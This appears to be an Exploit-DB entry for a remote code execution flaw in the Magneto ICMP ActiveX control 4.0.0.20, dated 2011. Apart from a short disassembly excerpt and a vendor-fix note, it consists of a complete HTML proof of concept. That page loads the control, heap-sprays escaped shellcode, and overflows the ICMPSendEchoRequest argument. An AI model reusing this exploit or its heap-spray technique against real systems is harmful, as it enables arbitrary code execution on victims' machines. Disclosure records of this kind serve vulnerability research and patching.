Magneto ICMP ActiveX 4.0.0.20 – ICMPSendEchoRequest Remote Code Execute
Magneto ICMP ActiveX v4.0.0.20 ICMPSendEchoRequest Remote Code Execute Date: 2011-5-27 Discovered by: boahat vendor: http://www.magnetosoft.com/ Download: http://www.magnetosoft.com/downloads/skicmp_setup.exe SKIcmp.ocx Function ICMPSendEchoRequest ( ByVal bstrDestinationAddress As String ) As Long .text:1000F012 mov edx, [ebx+8] // edx can be control .text:1000F015 lea ecx, [esp+468h+String1] .text:1000F019 push esi .text:1000F01A push ecx .text:1000F01B call edx // bomb... [POC] <html> <body> <object classid="clsid:3A86F1F2-4921-4C75-AF2C-A1AA241E12BA" id="target"></object> <script> var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063"); var bigblock = unescape("%u0c0c%u0c0c"); var headersize = 20; var slackspace = headersize+shellcode.length; while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (x=0; x<500; x++) memory[x] = block + shellcode; var buffer = ''; while (buffer.length < 6000) buffer+="\x0c\x0c\x0c\x0c"; target.ICMPSendEchoRequest(buffer); </script> </body> </html> # Exploit-DB Note: # According to MagnetSoft The exploit has been fixed in the latest version of the software,5.0.0.1. # The latest version that contains the fix can be downloaded here: # http://www.magnetosoft.com/www/downloads/win32/skdns_setup.exe |